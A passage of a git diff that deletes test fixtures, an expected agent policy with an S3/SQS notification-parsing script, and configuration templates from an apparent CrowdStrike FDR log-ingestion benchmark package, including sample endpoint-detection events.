"ConfigStateHash": "3164437859", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "EventOrigin": "17", - "UpdateFlag": "1", - "id": "0eaf2b81-3888-446f-99ba-e38ff8249b25", - "name": "InstalledBrowserExtensionV2" - }, - "device": { - "id": "cdbfd7c3bab5478d935db9969b5886cc" - }, - "event": { - "action": "InstalledBrowserExtension", - "category": [ - "package" - ], - "created": "2025-09-14T03:23:29.811Z", - "id": "0eaf2b81-3888-446f-99ba-e38ff8249b25|cdbfd7c3bab5478d935db9969b5886cc|", - "kind": "event", - "original": "{\"event_simpleName\":\"InstalledBrowserExtension\",\"BrowserName\":\"4\",\"BrowserFilePath\":\"C:\\\\Program Files (x86)\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe\",\"BatchDataTotal\":\"2\",\"BrowserProfileName\":\"Profile 1\",\"BatchTimestamp\":\"1757820209.223\",\"BrowserExtensionVersion\":\"1.2.1\",\"BrowserExtensionInstalledTimestamp\":\"1748442656.300\",\"BatchDataNumber\":\"1\",\"UserSid\":\"S-1-5-21-2765107603-xxxx-500\",\"event_platform\":\"Win\",\"UpdateFlag\":\"1\",\"BrowserProfileId\":\"Default\",\"EventOrigin\":\"17\",\"id\":\"0eaf2b81-3888-446f-99ba-e38ff8249b25\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1757820209811\",\"BrowserExtensionArchitecture\":\"3\",\"UserName\":\"win10_user3\",\"ConfigStateHash\":\"3164437859\",\"BrowserExtensionPath\":\"C:\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Edge\\\\User Data\\\\Default\\\\Extensions\\\\jmjflgjpcpepeafmmgdpfkogkghcpiha\\\\1.2.1_0\",\"BrowserExtensionId\":\"jmjflgjpcpepeafmmgdpfkogkghcpiha\",\"ConfigBuild\":\"1007.3.0019907.15\",\"BrowserExtensionName\":\"Edge relevant text changes\",\"BrowserExtensionStatusEnabled\":\"1\",\"BrowserFileHash\":\"ef9d1b42ca58103e9647763f67303519a0701c7b1278af0ad25f7f673c10743b\",\"Entitlements\":\"15\",\"name\":\"InstalledBrowserExtensionV2\",\"ComputerName\":\"win10-qwe-3\",\"BrowserExtensionInstallMethod\":\"1\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\",\"BrowserVersion\":\"138.0.3351.83\"}", - "type": [ - "installation" - ] - }, - "host": { - "hostname": "win10-qwe-3", - "id": "cdbfd7c3bab5478d935db9969b5886cc", - "name": "win10-qwe-3", - "os": { - "type": "windows" - } - }, - "message": "InstalledBrowserExtension", - "observer": { - "serial_number": "cdbfd7c3bab5478d935db9969b5886cc", - "version": "1007.3.0019907.15" - }, - "package": { - "architecture": "SAFARI_APP", - "installed": "2025-05-28T14:30:56.300Z", - "name": "Edge relevant text changes", - "path": "C:\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Extensions\\jmjflgjpcpepeafmmgdpfkogkghcpiha\\1.2.1_0", - "version": "1.2.1" - }, - "related": { - "hash": [ - "3164437859" - ], - "hosts": [ - "win10-qwe-3" - ], - "user": [ - "win10_user3", - "S-1-5-21-2765107603-xxxx-500" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "S-1-5-21-2765107603-xxxx-500", - "name": "win10_user3" - } - }, - { - "@timestamp": "2025-09-12T03:41:58.836Z", - "crowdstrike": { - "AntiTamperStateFlag": "9", - "ConfigStateHash": "1442922594", - "EffectiveTransmissionClass": "0", - "Entitlements": "15", - "EventOrigin": "17", - "id": "8bee55a5-f768-48b9-ab4c-614a1283a58a", - "name": "SensorAntiTamperStateV1" - }, - "device": { - "id": "cdbfd7c3bab5478d935db9969b5886cc" - }, - "event": { - "action": "SensorAntiTamperState", - "category": [ - "configuration" - ], - "created": "2025-09-12T03:41:58.836Z", - "id": "8bee55a5-f768-48b9-ab4c-614a1283a58a|cdbfd7c3bab5478d935db9969b5886cc|", - "kind": "state", - "original": "{\"event_simpleName\":\"SensorAntiTamperState\",\"ConfigStateHash\":\"1442922594\",\"ConfigBuild\":\"1007.3.0019907.15\",\"AntiTamperStateFlag\":\"9\",\"event_platform\":\"Win\",\"Entitlements\":\"15\",\"name\":\"SensorAntiTamperStateV1\",\"EventOrigin\":\"17\",\"ComputerName\":\"win10-qwe-3\",\"id\":\"8bee55a5-f768-48b9-ab4c-614a1283a58a\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\",\"timestamp\":\"1757648518836\"}", - "type": [ - "info" - ] - }, - "host": { - "hostname": "win10-qwe-3", - "id": "cdbfd7c3bab5478d935db9969b5886cc", - "name": "win10-qwe-3", - "os": { - "type": "windows" - } - }, - "message": "SensorAntiTamperState", - "observer": { - "serial_number": "cdbfd7c3bab5478d935db9969b5886cc", - "version": "1007.3.0019907.15" - }, - "related": { - "hash": [ - "1442922594" - ], - "hosts": [ - "win10-qwe-3" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-09-12T03:41:58.836Z", - "crowdstrike": { - "ConfigStateHash": "1442922594", - "EffectiveTransmissionClass": "0", - "Entitlements": "15", - "EventOrigin": "17", - "Flags": "0", - "RTRState": "1", - "id": "c188e104-d940-46af-aed8-acf5086fc187", - "name": "SensorSettingsUpdateV1" - }, - "device": { - "id": "cdbfd7c3bab5478d935db9969b5886cc" - }, - "event": { - "action": "SensorSettingsUpdate", - "category": [ - "configuration" - ], - "created": "2025-09-12T03:41:58.836Z", - "id": "c188e104-d940-46af-aed8-acf5086fc187|cdbfd7c3bab5478d935db9969b5886cc|", - "kind": "event", - "original": "{\"event_simpleName\":\"SensorSettingsUpdate\",\"RTRState\":\"1\",\"ConfigStateHash\":\"1442922594\",\"Flags\":\"0\",\"ConfigBuild\":\"1007.3.0019907.15\",\"event_platform\":\"Win\",\"Entitlements\":\"15\",\"name\":\"SensorSettingsUpdateV1\",\"EventOrigin\":\"17\",\"ComputerName\":\"win10-qwe-3\",\"id\":\"c188e104-d940-46af-aed8-acf5086fc187\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\",\"timestamp\":\"1757648518836\"}", - "type": [ - "change" - ] - }, - "host": { - "hostname": "win10-qwe-3", - "id": "cdbfd7c3bab5478d935db9969b5886cc", - "name": "win10-qwe-3", - "os": { - "type": "windows" - } - }, - "message": "SensorSettingsUpdate", - "observer": { - "serial_number": "cdbfd7c3bab5478d935db9969b5886cc", - "version": "1007.3.0019907.15" - }, - "related": { - "hash": [ - "1442922594" - ], - "hosts": [ - "win10-qwe-3" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-09-14T03:13:30.498Z", - "crowdstrike": { - "ConfigStateHash": "1694325680", - "EffectiveTransmissionClass": "0", - "Entitlements": "15", - "ErrorCode": "0", - "EventOrigin": "17", - "ServiceCurrentState": "4", - "id": "37ddccdf-594d-4224-97de-e784822466f4", - "name": "ServicesStatusInfoV1" - }, - "device": { - "id": "cdbfd7c3bab5478d935db9969b5886cc" - }, - "event": { - "action": "ServicesStatusInfo", - "category": [ - "configuration" - ], - "created": "2025-09-14T03:13:30.498Z", - "id": "37ddccdf-594d-4224-97de-e784822466f4|cdbfd7c3bab5478d935db9969b5886cc|", - "kind": "state", - "original": "{\"event_simpleName\":\"ServicesStatusInfo\",\"ConfigStateHash\":\"1694325680\",\"ServiceDisplayName\":\"spooler\",\"ConfigBuild\":\"1007.3.0019907.15\",\"event_platform\":\"Win\",\"Entitlements\":\"15\",\"name\":\"ServicesStatusInfoV1\",\"EventOrigin\":\"17\",\"ComputerName\":\"win10-qwe-3\",\"id\":\"37ddccdf-594d-4224-97de-e784822466f4\",\"ErrorCode\":\"0\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\",\"timestamp\":\"1757819610498\",\"ServiceCurrentState\":\"4\"}", - "type": [ - "info" - ] - }, - "host": { - "hostname": "win10-qwe-3", - "id": "cdbfd7c3bab5478d935db9969b5886cc", - "name": "win10-qwe-3", - "os": { - "type": "windows" - } - }, - "message": "ServicesStatusInfo", - "observer": { - "serial_number": "cdbfd7c3bab5478d935db9969b5886cc", - "version": "1007.3.0019907.15" - }, - "process": { - "title": "spooler" - }, - "related": { - "hash": [ - "1694325680" - ], - "hosts": [ - "win10-qwe-3" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-10-30T08:12:33.235Z", - "crowdstrike": { - "Attacks": [ - { - "Tactic": "Defense Evasion", - "Technique": "Obfuscated Files or Information" - } - ], - "AuthenticationId": "999", - "BoundingLimitCount": 5, - "BoundingLimitDuration": "3600000", - "ConfigStateHash": "1146505100", - "ContextProcessId": "111845303038", - "ContextTimeStamp": "2025-10-30T08:12:32.620Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "EventOrigin": "1", - "FileEcpBitmask": "0", - "ShannonEntropy": "932", - "id": "fc10d190-e98f-45fc-bb2a-ca60d3534a2a", - "name": "FileWrittenWithEntropyHighV2" - }, - "device": { - "id": "bae5bafaeb93295d398bf55b8ba1cf01" - }, - "event": { - "action": "FileWrittenWithEntropyHigh", - "category": [ - "file" - ], - "created": "2025-10-30T08:12:33.235Z", - "id": "fc10d190-e98f-45fc-bb2a-ca60d3534a2a|bae5bafaeb93295d398bf55b8ba1cf01|", - "kind": "event", - "original": "{\"event_simpleName\":\"FileWrittenWithEntropyHigh\",\"Size\":\"12216\",\"ShannonEntropy\":\"932\",\"BoundingLimitCount\":\"5\",\"event_platform\":\"Win\",\"EventOrigin\":\"1\",\"id\":\"fc10d190-e98f-45fc-bb2a-ca60d3534a2a\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1761811953235\",\"ContextTimeStamp\":\"1761811952.620\",\"ConfigStateHash\":\"1146505100\",\"ContextProcessId\":\"111845303038\",\"AuthenticationId\":\"999\",\"ConfigBuild\":\"1007.3.0019907.15\",\"FileEcpBitmask\":\"0\",\"BoundingLimitDuration\":\"3600000\",\"Entitlements\":\"15\",\"name\":\"FileWrittenWithEntropyHighV2\",\"ComputerName\":\"win10-qwe-3\",\"Attacks\":[{\"Tactic\":\"Defense Evasion\",\"Technique\":\"Obfuscated Files or Information\"}],\"aid\":\"bae5bafaeb93295d398bf55b8ba1cf01\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\Temp\\\\APPX.fb9inon0wlj06bji0gujvuvcd.tmp\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "directory": "\\Device\\HarddiskVolume4\\Windows\\Temp", - "extension": "tmp", - "name": "APPX.fb9inon0wlj06bji0gujvuvcd.tmp", - "path": "\\Device\\HarddiskVolume4\\Windows\\Temp\\APPX.fb9inon0wlj06bji0gujvuvcd.tmp", - "size": 12216, - "type": "file" - }, - "host": { - "hostname": "win10-qwe-3", - "id": "bae5bafaeb93295d398bf55b8ba1cf01", - "name": "win10-qwe-3", - "os": { - "type": "windows" - } - }, - "message": "FileWrittenWithEntropyHigh", - "observer": { - "serial_number": "bae5bafaeb93295d398bf55b8ba1cf01", - "version": "1007.3.0019907.15" - }, - "process": { - "entity_id": "111845303038" - }, - "related": { - "hash": [ - "1146505100" - ], - "hosts": [ - "win10-qwe-3" - ] - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "tactic": { - "name": [ - "Defense Evasion" - ] - }, - "technique": { - "name": [ - "Obfuscated Files or Information" - ] - } - } - }, - { - "@timestamp": "2025-08-19T21:24:04.187Z", - "crowdstrike": { - "AssemblyFlags": "0", - "AssemblyId": "1825020243168", - "AssemblyName": "vezhsq1h, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null", - "ConfigStateHash": "3064617115", - "ContextProcessId": "11708829302", - "ContextTimeStamp": "2025-08-19T21:23:57.713Z", - "DotnetModuleFlags": "8", - "DotnetModuleId": "140707789195504", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "EtwProviderType": "2", - "EventOrigin": "1", - "ImageFileName": "\\Device\\HarddiskVolume3\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", - "ModuleILPath": "vezhsq1h", - "id": "b089f099-ffac-44fd-9efe-e1bc148214ee", - "name": "ReflectiveDotnetModuleLoadV2" - }, - "device": { - "id": "cdbfd7c3bab5478d935db9969b5886cc" - }, - "dll": { - "name": "powershell.exe" - }, - "event": { - "action": "ReflectiveDotnetModuleLoad", - "category": [ - "library" - ], - "created": "2025-08-19T21:24:04.187Z", - "id": "b089f099-ffac-44fd-9efe-e1bc148214ee|cdbfd7c3bab5478d935db9969b5886cc|", - "kind": "event", - "original": "{\"event_simpleName\":\"ReflectiveDotnetModuleLoad\",\"AssemblyName\":\"vezhsq1h, Version\\u003d0.0.0.0, Culture\\u003dneutral, PublicKeyToken\\u003dnull\",\"ModuleNativePath\":\"\",\"NativePdbBuildPath\":\"\",\"event_platform\":\"Win\",\"DotnetModuleFlags\":\"8\",\"DotnetModuleId\":\"140707789195504\",\"EventOrigin\":\"1\",\"id\":\"b089f099-ffac-44fd-9efe-e1bc148214ee\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1755638644187\",\"ManagedPdbBuildPath\":\"\",\"ContextTimeStamp\":\"1755638637.713\",\"ConfigStateHash\":\"3064617115\",\"ContextProcessId\":\"11708829302\",\"AssemblyFlags\":\"0\",\"EtwProviderType\":\"2\",\"ConfigBuild\":\"1007.3.0019907.15\",\"CommandLine\":\"\\\"C:\\\\WINDOWS\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\\"\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"Entitlements\":\"15\",\"name\":\"ReflectiveDotnetModuleLoadV2\",\"AssemblyId\":\"1825020243168\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\",\"ModuleILPath\":\"vezhsq1h\"}", - "type": [ - "start" - ] - }, - "host": { - "id": "cdbfd7c3bab5478d935db9969b5886cc", - "os": { - "type": "windows" - } - }, - "message": "ReflectiveDotnetModuleLoad", - "observer": { - "serial_number": "cdbfd7c3bab5478d935db9969b5886cc", - "version": "1007.3.0019907.15" - }, - "process": { - "args": [ - "C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - ], - "args_count": 1, - "command_line": "\"C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\"", - "entity_id": "11708829302" - }, - "related": { - "hash": [ - "3064617115" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-09-11T13:33:38.983Z", - "crowdstrike": { - "AuthenticationId": "996", - "ConfigStateHash": "3591479077", - "ContextProcessId": "90332841484", - "ContextTimeStamp": "2025-09-11T13:33:38.424Z", - "DesiredAccess": "2097151", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "EventOrigin": "1", - "HandleCreated": "0", - "IntegrityLevel": "16384", - "TargetAuthenticationId": "996", - "TargetIntegrityLevel": "16384", - "id": "87902694-15af-4692-b1e2-bf7fba80b272", - "name": "SuspiciousPrivilegedProcessHandleV2" - }, - "device": { - "id": "cdbfd7c3bab5478d935db9969b5886cc" - }, - "event": { - "action": "SuspiciousPrivilegedProcessHandle", - "category": [ - "process" - ], - "created": "2025-09-11T13:33:38.983Z", - "id": "87902694-15af-4692-b1e2-bf7fba80b272|cdbfd7c3bab5478d935db9969b5886cc|", - "kind": "event", - "original": "{\"event_simpleName\":\"SuspiciousPrivilegedProcessHandle\",\"IntegrityLevel\":\"16384\",\"ContextThreadId\":\"1217210494023\",\"TargetIntegrityLevel\":\"16384\",\"event_platform\":\"Win\",\"SuspiciousHandleOpenReason\":\"2\",\"EventOrigin\":\"1\",\"id\":\"87902694-15af-4692-b1e2-bf7fba80b272\",\"HandleCreated\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1757597618983\",\"ContextTimeStamp\":\"1757597618.424\",\"ConfigStateHash\":\"3591479077\",\"ContextProcessId\":\"90332841484\",\"AuthenticationId\":\"996\",\"ConfigBuild\":\"1007.3.0019907.15\",\"TargetProcessId\":\"90365065195\",\"DesiredAccess\":\"2097151\",\"Entitlements\":\"15\",\"name\":\"SuspiciousPrivilegedProcessHandleV2\",\"ComputerName\":\"win10-qwe-3\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\",\"TargetAuthenticationId\":\"996\"}", - "reason": "2", - "type": [ - "info" - ] - }, - "host": { - "hostname": "win10-qwe-3", - "id": "cdbfd7c3bab5478d935db9969b5886cc", - "name": "win10-qwe-3", - "os": { - "type": "windows" - } - }, - "message": "SuspiciousPrivilegedProcessHandle", - "observer": { - "serial_number": "cdbfd7c3bab5478d935db9969b5886cc", - "version": "1007.3.0019907.15" - }, - "process": { - "Ext": { - "token": { - "integrity_level_name": "SYSTEM" - } - }, - "entity_id": "90365065195", - "thread": { - "id": 1217210494023 - } - }, - "related": { - "hash": [ - "3591479077" - ], - "hosts": [ - "win10-qwe-3" - ] - }, - "tags": [ - "preserve_original_event" - ] - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/policy/test-default.expected b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/policy/test-default.expected deleted file mode 100644 index ea1547544d..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/policy/test-default.expected +++ /dev/null @@ -1,250 +0,0 @@ -inputs: - - data_stream: - namespace: ep - meta: - package: - name: crowdstrike - name: test-default-crowdstrike - streams: - - data_stream: - dataset: crowdstrike.fdr - fields: - _conf: - enable_deduplication: false - long_fields: index_long_fields - long_fields_max_length: 1024 - prune_fields: true - fields_under_root: true - max_number_of_messages: 5 - number_of_workers: 5 - processors: - - add_locale: null - - decode_json_fields: - fields: message - target: crowdstrike - - else: - - else: - - cache: - backend: - file: - id: aidmaster - get: - ignore_missing: true - key_field: crowdstrike.aid - target_field: metadata.host - - cache: - backend: - file: - id: userinfo - get: - ignore_missing: true - key_field: crowdstrike.UserSid - target_field: metadata.user - if: - contains: - log.file.path: userinfo - then: - - cache: - backend: - capacity: 0 - file: - id: userinfo - write_interval: 0 - put: - ignore_missing: true - key_field: crowdstrike.UserSid_readable - ttl: 168h - value_field: crowdstrike - - drop_event: - when: - contains: - log.file.path: userinfo - if: - contains: - log.file.path: aidmaster - then: - - cache: - backend: - capacity: 0 - file: - id: aidmaster - write_interval: 0 - put: - ignore_missing: true - key_field: crowdstrike.aid - ttl: 168h - value_field: crowdstrike - - drop_event: - when: - contains: - log.file.path: aidmaster - - drop_fields: - fields: - - crowdstrike - publisher_pipeline.disable_host: true - queue_url: "" - sqs.notification_parsing_script.source: | - function parse(n) { - var m = JSON.parse(n); - var evts = []; - var files = m.files; - var bucket = m.bucket; - var records = m.Records; - var message = m.Message; - var topic_arn = m.TopicArn; - // Checks if not FDR queue - if (!Array.isArray(files) || (files.length == 0) || bucket == null || bucket == "") { - // Checks if event notification is S3 -> SQS or S3 -> SNS -> SQS. - if ((records != null && records.length != 0) || (message != null && topic_arn != null)) { - // When notification is from S3 -> SNS -> SQS, records need to be extracted from message. - if (records == null || records.length == 0) { - var p = JSON.parse(message); - records = p.Records; - } - if (records != null && records.length != 0) { - records.forEach(function(f){ - if (f.s3 && f.s3.bucket && f.s3.bucket.name && f.s3.object && f.s3.object.key) { - var evt = new S3EventV2(); - evt.SetS3BucketName(f.s3.bucket.name); - evt.SetS3ObjectKey(f.s3.object.key); - if (f.s3.bucket.arn) { - evt.SetS3BucketARN(f.s3.bucket.arn); - } - if (f.awsRegion) { - evt.SetAWSRegion(f.awsRegion); - } - if (f.eventName) { - evt.SetEventName(f.eventName); - } - if (f.eventSource) { - evt.SetEventSource(f.eventSource); - } - evts.push(evt); - } - }); - } - } - // Checks if event notification is S3 -> EventBridge -> SQS - else if (m.detail != null && m.detail.bucket != null && m.detail.object != null && m.detail.bucket.name != null && m.detail.object.key != null) { - var evt = new S3EventV2(); - evt.SetS3BucketName(m.detail.bucket.name); - evt.SetS3ObjectKey(m.detail.object.key); - if (Array.isArray(m.resources) && m.resources.length > 0) { - evt.SetS3BucketARN(m.resources[0]); - } - if (m.source != null && m.source == "aws.s3") { - evt.SetEventSource("aws:s3"); - } - if (m['detail-type'] == "Object Created") { - evt.SetEventName("ObjectCreated:Put"); - } - evts.push(evt); - } - } else { - // FDR queue - files.sort(function(a, b) { - var isMetadata = function(a) { - return a.path && ((a.path.indexOf("aidmaster") !== -1) || (a.path.indexOf("userinfo") !== -1)); - }; - var cmp = function(a, b) { - if (a < b) { - return -1; - } - if (a > b) { - return 1; - } - return 0; - }; - if (isMetadata(a) === isMetadata(b)) { - return cmp(a.path, b.path); - } - if (isMetadata(a)) { - return -1; - } - return 1; - }); - files.forEach(function(f){ - var evt = new S3EventV2(); - evt.SetS3BucketName(bucket); - evt.SetS3ObjectKey(f.path); - evts.push(evt); - }); - } - return evts; - } - function test() { - // Test FDR queue - var fdrEvents = parse("{\"bucket\":\"fdrBucket\",\"files\":[{\"path\":\"prefix/aidmaster\",\"size\":89118480,\"checksum\":\"d0f566f37295e46f28c75f71ddce9422\"},{\"path\":\"prefix/data\"}]}"); - if (fdrEvents.length !== 2) { - throw "expecting two events"; - } - if (fdrEvents[0].S3.Bucket.Name !== "fdrBucket") { - throw "expected bucket === fdrBucket"; - } - if (fdrEvents[0].S3.Object.Key !== "prefix/aidmaster") { - throw "expected object key === prefix/aidmaster"; - } - if (fdrEvents[1].S3.Object.Key !== "prefix/data") { - throw "expected object key === prefix/data"; - } - // Test S3 -> SQS - var sqsEvents = parse("{\"Records\":[{\"eventVersion\":\"2.1\",\"eventSource\":\"aws:s3\",\"awsRegion\":\"us-west-2\",\"eventTime\":\"2025-05-27T11:38:32.511Z\",\"eventName\":\"ObjectCreated:Put\",\"userIdentity\":{\"principalId\":\"AWS:DKASHW31673218\"},\"requestParameters\":{\"sourceIPAddress\":\"81.2.69.142\"},\"responseElements\":{\"x-amz-request-id\":\"adqw312EASDS\",\"x-amz-id-2\":\"SD312ESDAD/ASDASDQX1E21XE/6aeP0eHq4aYCvF\"},\"s3\":{\"s3SchemaVersion\":\"1.0\",\"configurationId\":\"test-sqs-cs-s3-evt-notif-sqs\",\"bucket\":{\"name\":\"test-sqs-cs-s3\",\"ownerIdentity\":{\"principalId\":\"321DSAVDW2E1\"},\"arn\":\"arn:aws:s3:::test-sqs-cs-s3\"},\"object\":{\"key\":\"fdr-sample.log\",\"size\":114782,\"eTag\":\"41cdbd1843a4c49ef0255e2ccd48cb9d\",\"sequencer\":\"006835A4387B4406AF\"}}}]}"); - if (sqsEvents.length !== 1) { - throw "expecting one events"; - } - if (sqsEvents[0].S3.Bucket.Name !== "test-sqs-cs-s3") { - throw "expected bucket === test-sqs-cs-s3"; - } - if (sqsEvents[0].S3.Bucket.ARN !== "arn:aws:s3:::test-sqs-cs-s3") { - throw "expected Bucket ARN === arn:aws:s3:::test-sqs-cs-s3"; - } - if (sqsEvents[0].S3.Object.Key !== "fdr-sample.log") { - throw "expected object key === fdr-sample.log"; - } - // Test S3 -> SNS -> SQS - var snsEvents = parse("{\"Type\": \"Notification\",\"MessageId\": \"1066e639-8697-5211-9bbe-86a369b14af5\",\"TopicArn\": \"arn:aws:sns:us-east-2:11111111111:test-crowds-sns\",\"Subject\": \"Amazon S3 Notification\",\"Message\": \"{\\\"Records\\\":[{\\\"eventVersion\\\":\\\"2.1\\\",\\\"eventSource\\\":\\\"aws:s3\\\",\\\"awsRegion\\\":\\\"us-east-2\\\",\\\"eventTime\\\":\\\"2025-05-11T18:31:01.609Z\\\",\\\"eventName\\\":\\\"ObjectCreated:Put\\\",\\\"userIdentity\\\":{\\\"principalId\\\":\\\"AWS:PRINCIPALID\\\"},\\\"requestParameters\\\":{\\\"sourceIPAddress\\\":\\\"81.2.69.192\\\"},\\\"responseElements\\\":{\\\"x-amz-request-id\\\":\\\"dsaddwqdqd\\\",\\\"x-amz-id-2\\\":\\\"w1esdasdadpY=\\\"},\\\"s3\\\":{\\\"s3SchemaVersion\\\":\\\"1.0\\\",\\\"configurationId\\\":\\\"test-crowds-s3-notif\\\",\\\"bucket\\\":{\\\"name\\\":\\\"test-crowds-s3-buck\\\",\\\"ownerIdentity\\\":{\\\"principalId\\\":\\\"asdascedqwdq\\\"},\\\"arn\\\":\\\"arn:aws:s3:::test-crowds-s3-buck\\\"},\\\"object\\\":{\\\"key\\\":\\\"fdr-0_userinfo.log\\\",\\\"size\\\":489,\\\"eTag\\\":\\\"349c96ed5531edce2233ad417123736d\\\",\\\"sequencer\\\":\\\"006820ECE595B767EC\\\"}}}]}\",\"Timestamp\": \"2025-05-11T18:31:02.037Z\",\"SignatureVersion\": \"1\",\"Signature\": \"W131adsfwefQSF223SAsdddsaas+dsdadfadqweweweaxaDSCQQW==\",\"SigningCertURL\": \"https://sns.us-east-2.amazonaws.com/SimpleNotificationService-9c6465fa7f48f5cacd23014631ec1136.pem\",\"UnsubscribeURL\": \"https://sns.us-east-2.amazonaws.com/?Action=Unsubscribe&SubscriptionArn=arn:aws:sns:us-east-2:11111111111:test-crowds-sns:c2e6ff87-e009-4694-866a-5ceb79691a01\"}"); - if (snsEvents.length !== 1) { - throw "expecting one events"; - } - if (snsEvents[0].S3.Bucket.Name !== "test-crowds-s3-buck") { - throw "expected bucket === test-crowds-s3-buck"; - } - if (snsEvents[0].AWSRegion !== "us-east-2") { - throw "expected AWS region === us-east-2"; - } - // Test S3 -> EventBridge -> SQS - var ebEvents = parse("{\"version\":\"0\",\"id\":\"78fee647-ef01-0e61-507f-d19baef343f5\",\"detail-type\":\"Object Created\",\"source\":\"aws.s3\",\"account\":\"11111111111\",\"time\":\"2025-05-11T19:26:39Z\",\"region\":\"ap-south-1\",\"resources\":[\"arn:aws:s3:::test-eb-crowds-s3-buck\"],\"detail\":{\"version\":\"0\",\"bucket\":{\"name\":\"test-eb-crowds-s3-buck\"},\"object\":{\"key\":\"fdr-0_aidmaster.log\",\"size\":4414,\"etag\":\"a06a88462e6950f0be3bb83230047e87\",\"sequencer\":\"006820F9EF8D8284D4\"},\"request-id\":\"321987SDASD1W9\",\"requester\":\"11111111111\",\"source-ip-address\":\"89.160.20.128\",\"reason\":\"PutObject\"}}"); - if (ebEvents.length !== 1) { - throw "expecting one events"; - } - if (ebEvents[0].S3.Bucket.Name !== "test-eb-crowds-s3-buck") { - throw "expected bucket === test-eb-crowds-s3-buck"; - } - if (ebEvents[0].S3.Bucket.ARN !== "arn:aws:s3:::test-eb-crowds-s3-buck") { - throw "expected Bucket ARN === arn:aws:s3:::test-eb-crowds-s3-buck"; - } - if (ebEvents[0].S3.Object.Key !== "fdr-0_aidmaster.log") { - throw "expected object key === fdr-0_aidmaster.log"; - } - } - tags: - - preserve_original_event - - forwarded - - crowdstrike-fdr - type: aws-s3 - use_output: default -output_permissions: - default: - _elastic_agent_checks: - cluster: - - monitor - _elastic_agent_monitoring: - indices: [] - uuid-for-permissions-on-related-indices: - indices: - - names: - - logs-crowdstrike.fdr-ep - privileges: - - auto_configure - - create_doc -secret_references: [] diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/policy/test-default.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/policy/test-default.yml deleted file mode 100644 index 7595be8d1b..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/policy/test-default.yml +++ /dev/null @@ -1,10 +0,0 @@ -vars: - url: http://host.tld - client_id: test_client_id - client_secret: test_client_secret - token_url: http://host.tld/oauth2/token -data_stream: - vars: - queue_url: "" - preserve_original_event: true - preserve_duplicate_custom_fields: true diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/system/test-default-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/system/test-default-config.yml deleted file mode 100644 index 8c4c210dbb..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/system/test-default-config.yml +++ /dev/null @@ -1,16 +0,0 @@ -input: aws-s3 -skip_ignored_fields: - - crowdstrike.ConfigStateData - - crowdstrike.FeatureVector - - crowdstrike.OSVersionFileData - - process.command_line -data_stream: - vars: - access_key_id: "{{AWS_ACCESS_KEY_ID}}" - secret_access_key: "{{AWS_SECRET_ACCESS_KEY}}" - session_token: "{{AWS_SESSION_TOKEN}}" - queue_url: "{{TF_OUTPUT_queue_url}}" - preserve_original_event: true - enable_deduplication: true -assert: - hit_count: 127 diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/agent/stream/aws-s3.yml.hbs b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/agent/stream/aws-s3.yml.hbs deleted file mode 100644 index c2c2153f9e..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/agent/stream/aws-s3.yml.hbs +++ /dev/null @@ -1,283 +0,0 @@ -queue_url: {{queue_url}} -{{#if credential_profile_name}} -credential_profile_name: {{credential_profile_name}} -{{/if}} -{{#if shared_credential_file}} -shared_credential_file: {{shared_credential_file}} -{{/if}} -{{#if visibility_timeout}} -visibility_timeout: {{visibility_timeout}} -{{/if}} -{{#if api_timeout}} -api_timeout: {{api_timeout}} -{{/if}} -{{#if max_number_of_messages}} -max_number_of_messages: {{max_number_of_messages}} -{{/if}} -{{#if number_of_workers}} -number_of_workers: {{number_of_workers}} 